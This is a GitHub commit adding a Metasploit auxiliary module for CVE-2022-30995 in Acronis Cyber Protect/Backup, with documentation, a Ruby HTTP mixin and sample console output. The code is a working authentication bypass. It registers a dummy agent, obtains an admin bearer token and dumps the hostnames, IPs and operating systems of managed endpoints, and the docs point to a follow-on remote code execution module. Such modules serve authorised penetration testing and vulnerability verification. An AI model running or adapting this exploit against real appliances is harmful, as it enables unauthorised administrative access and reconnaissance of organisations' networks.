Land #19582 Acronis Cyber Backup/Protect Info Disclosure

This commit is contained in:
jheysel-r7
2024-11-27 07:50:16 -08:00
committed by GitHub
3 changed files with 536 additions and 0 deletions
@@ -0,0 +1,205 @@
## Vulnerable Application
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources.
Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment.
This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which,
in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints.
This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance.
As the management web console is running on the same port as the API for the agents,
this bearer token is also valid for any actions on the web console.
This allows an attacker with network access to the appliance to start the registration of a new agent,
retrieve a bearer token that provides admin access to the available functions in the web console.
This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands
on both the managed endpoint and the appliance itself.
This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
The following releases were tested.
**Acronis Cyber Protect 15 ISO appliances:**
* Acronis Cyber Protect 15 Build 28503
* Acronis Cyber Protect 15 Build 27009
* Acronis Cyber Protect 15 Build 26981
* Acronis Cyber Protect 15 Build 26172
**Acronis Cyber Protect 12.5 ISO appliances:**
* Acronis Cyber Protect 12.5 Build 16428
* Acronis Cyber Protect 12.5 Build 16386
* Acronis Cyber Protect 12.5 Build 14330
* Acronis Cyber Protect 12.5 Build 11010
## Installation steps to install the Acronis Cyber Protect/Backup appliance
* Install the virtualization engine VMware Fusion on your preferred platform.
* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html).
* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US).
* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image.
* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address
* using the option `change installation settings`.
* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22`
* via the `webui` via `http://your_ip:9877`.
* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect.
* Login into the appliance via the `webui`.
* Follow the license instructions to apply your 30-day trial license.
You are now ready to test the module.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
- [ ] `set rhosts <ip-target>`
- [ ] `run`
- [ ] you should get a list of all endpoints that are registered at the appliance.
## Options
### OUTPUT
You can use option `table` to print output of the gather info to the console (default).
Choosing option `json` will store all information at a file in `json` format at the loot directory.
You can use this file in combination with `jq` for offline queries and processing.
## Scenarios
```msf
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info
Name: Acronis Cyber Protect/Backup machine info disclosure
Module: auxiliary/gather/acronis_cyber_protect_machine_info_disclosure
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Sandro Tolksdorf of usd AG.
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OUTPUT table yes Output format to use (Accepted: table, json)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 9877 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup instance
VHOST no HTTP server virtual host
Description:
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
compute, storage and application resources. Businesses and Service Providers are using it
to protect and backup all IT assets in their IT environment.
This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect
appliance which, in its default configuration, allows the anonymous registration of new
backup/protection agents on new endpoints. This API endpoint also generates bearer tokens
which the agent then uses to authenticate to the appliance.
As the management web console is running on the same port as the API for the agents, this
bearer token is also valid for any actions on the web console. This allows an attacker
with network access to the appliance to start the registration of a new agent, retrieve
a bearer token that provides admin access to the available functions in the web console.
This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to
execute arbitrary commands on both the managed endpoint and the appliance which is covered
in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-30995
https://nvd.nist.gov/vuln/detail/CVE-2022-3405
https://herolab.usd.de/security-advisories/usd-2022-0008/
https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995
View the full module info with the info -d command.
```
### Acronis Cyber Backup 12.5 build 14330 VMware appliance
```msf
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
[*] Running module against 192.168.201.6
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
[*] ----------------------------------------
[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks
[*] type: machine
[*] hostname: WIN-BJDNH44EEDB
[*] IP: 192.168.201.5
[*] OS: Microsoft Windows Server 2019 Standard
[*] ARCH: windows
[*] ONLINE: false
[*] ----------------------------------------
[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks
[*] type: machine
[*] hostname: AcronisAppliance-AC319
[*] IP: 192.168.201.6
[*] OS: GNU/Linux
[*] ARCH: linux
[*] ONLINE: true
[*] Auxiliary module execution completed
```
### Acronis Cyber Backup 15 build 27009 VMware appliance
```msf
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
[*] Running module against 192.168.201.6
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009
[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
[*] ----------------------------------------
[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D
[+] parentId: 00000000-0000-0000-0000-000000000000
[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks
[*] type: machine
[*] hostname: AcronisAppliance-FCD94
[*] IP: 192.168.201.6
[*] OS: Linux: CentOS Linux release 7.6.1810 (Core)
[*] ARCH: linux
[*] ONLINE: true
[*] ----------------------------------------
[+] hostId: C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E
[+] parentId: 00000000-0000-0000-0000-000000000000
[+] key: phm.1100195A-112E-4904-A933-264C2D12A4A5@C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E.disks
[*] type: machine
[*] hostname: victim.evil.corp
[*] IP: 192.168.201.2
[*] OS: Microsoft Windows Server 2022 Standard
[*] ARCH: windows
[*] ONLINE: false
[*] Auxiliary module execution completed
```
## Limitations
No limitations.
@@ -0,0 +1,148 @@
# -*- coding: binary -*-
# This mixin module provides provides a way of interacting with Acronis Cyber 15 and Backup 12.5 installations
module Msf::Exploit::Remote::HTTP::AcronisCyber
include Msf::Exploit::Remote::HttpClient
# get the first access_token
# @return [access_token, nil] returns first access_token or nil if not successful
def get_access_token1
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'idp', 'token'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'grant_type' => 'password',
'username' => nil,
'password' => nil
}
})
return unless res&.code == 200
return unless res.body.include?('access_token')
# parse json response and return access_token
res_json = res.get_json_document
return if res_json.blank?
res_json['access_token']
end
# register a dummy agent in Acronis Cyber Protect 12.5 and 15.0
# @param [client_id] random generated uuid
# @param [access_token1] first access_token
# @return [client_secret, nil] returns client_secret or nil if not successful
def dummy_agent_registration(client_id, access_token1)
name = Rex::Text.rand_text_alphanumeric(5..8).downcase
post_data = {
client_id: client_id.to_s,
data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true },
tenant_id: nil,
token_endpoint_auth_method: 'client_secret_basic',
type: 'agent'
}.to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'),
'ctype' => 'application/json',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Authorization' => "bearer #{access_token1}"
},
'data' => post_data.to_s
})
return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret')
# parse json response and return client_secret
res_json = res.get_json_document
return if res_json.blank?
res_json['client_secret']
end
# get second access_token which is valid for 30 days
# @param [client_id] random generated uuid
# @param [client_secret] client_secret retrieved from a successful agent registration
# @return [access_token, nil] returns first access_token or nil if not successful
def get_access_token2(client_id, client_secret)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'idp', 'token'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'grant_type' => 'client_credentials',
'client_id' => client_id.to_s,
'client_secret' => client_secret.to_s
}
})
return unless res&.code == 200
return unless res.body.include?('access_token')
# parse json response and return access_token
res_json = res.get_json_document
return if res_json.blank?
res_json['access_token']
end
# returns version information
# @param [access_token2] second access_token
# @return [version, nil] returns version or nil if not successful
def get_version_info(access_token2)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'),
'ctype' => 'application/json',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Authorization' => "bearer #{access_token2}"
}
})
return unless res&.code == 200
return unless res.body.include?('backendVersion')
# parse json response and get the relevant machine info
res_json = res.get_json_document
return if res_json.blank?
res_json['backendVersion']
end
# return all configured items in json format
# @param [access_token2] second access_token
# @return [res_json, nil] returns machine info in json format or nil if not successful
def get_machine_info(access_token2)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'),
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Authorization' => "bearer #{access_token2}"
},
'vars_get' => {
'embed' => 'details'
}
})
return unless res&.code == 200
return unless res.body.include?('items') || res.body.include?('data')
if datastore['OUTPUT'] == 'json'
loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration')
print_good("Configuration details are successfully saved in json format to #{loot_path}")
end
# parse json response and get the relevant machine info
res_json = res.get_json_document
return if res_json.blank?
res_json
end
end
@@ -0,0 +1,183 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::AcronisCyber
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Acronis Cyber Protect/Backup machine info disclosure',
'Description' => %q{
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
compute, storage and application resources. Businesses and Service Providers are using it
to protect and backup all IT assets in their IT environment.
This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect
appliance which, in its default configuration, allows the anonymous registration of new
backup/protection agents on new endpoints. This API endpoint also generates bearer tokens
which the agent then uses to authenticate to the appliance.
As the management web console is running on the same port as the API for the agents, this
bearer token is also valid for any actions on the web console. This allows an attacker
with network access to the appliance to start the registration of a new agent, retrieve
a bearer token that provides admin access to the available functions in the web console.
This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to
execute arbitrary commands on both the managed endpoint and the appliance.
This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
'Sandro Tolksdorf of usd AG.' # discovery
],
'References' => [
['CVE', '2022-30995'],
['CVE', '2022-3405'],
['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'],
['URL', 'https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995']
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' => {
'RPORT' => 9877,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']),
OptEnum.new('OUTPUT', [true, 'Output format to use', 'table', ['table', 'json']])
]
)
end
def check
# initial check on api access
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'meta'),
'ctype' => 'application/json'
})
return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method')
# get first access token
print_status('Retrieve the first access token.')
@access_token1 = get_access_token1
vprint_status("Extracted first access token: #{@access_token1}")
return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil?
# register a dummy agent
client_id = SecureRandom.uuid
print_status('Register a dummy backup agent.')
client_secret = dummy_agent_registration(client_id, @access_token1)
return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil?
print_status('Dummy backup agent registration is successful.')
# get second access_token
print_status('Retrieve the second access token.')
@access_token2 = get_access_token2(client_id, client_secret)
vprint_status("Extracted second access token: #{@access_token2}")
return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil?
# get version info
version = get_version_info(@access_token2)
return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil?
release = version.match(/(.+)\.(\d+)/)
case release[1]
when '15.0'
if Rex::Version.new(version) < Rex::Version.new('15.0.29486')
return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}")
else
return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
end
when '12.5'
if Rex::Version.new(version) < Rex::Version.new('12.5.16545')
return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}")
else
return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
end
else
Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
end
end
def run
# check if @access_token2 is already set as part of autocheck option
if @access_token2.nil?
# get first access token
print_status('Retrieve the first access token.')
@access_token1 = get_access_token1
vprint_status("Extracted first access token: #{@access_token1}")
fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil?
# register a dummy agent
client_id = SecureRandom.uuid
print_status('Register a dummy backup agent.')
client_secret = dummy_agent_registration(client_id, @access_token1)
fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil?
print_status('Dummy backup agent registration is successful.')
# get second access_token
print_status('Retrieve the second access token.')
@access_token2 = get_access_token2(client_id, client_secret)
vprint_status("Extracted second access token: #{@access_token2}")
fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil?
end
# report vulnerable instance
report_web_vuln(
web_site: normalize_uri(target_uri.path, 'api', 'ams', 'versions'),
host: datastore['RHOSTS'],
port: datastore['RPORT'],
ssl: datastore['SSL'],
method: 'POST',
proof: "Authorization: Bearer #{@access_token2}",
risk: 0,
confidence: 100,
category: 'admin token',
description: 'Administrator token providing full web application accesss.',
name: 'Acronis Cyber Protect/Backup administrator token'
)
# get all the managed endpoint configuration info
print_status('Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.')
res_json = get_machine_info(@access_token2)
fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil?
# print all the managed endpoint information to the console
if datastore['OUTPUT'] == 'table'
print_status('List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.')
res_json['data'].each do |item|
next unless item['type'] == 'machine'
print_status('----------------------------------------')
print_good("hostId: #{item['hostId']}") unless item['hostId'].nil?
print_good("parentId: #{item['parentId']}") unless item['parentId'].nil?
print_good("key: #{item['id']}") unless item['id'].nil?
print_status("type: #{item['type']}") unless item['type'].nil?
print_status("hostname: #{item['title']}") unless item['title'].nil?
print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil?
print_status("OS: #{item['os']}") unless item['os'].nil?
print_status("ARCH: #{item['osType']}") unless item['osType'].nil?
print_status("ONLINE: #{item['online']}") unless item['online'].nil?
end
end
end
end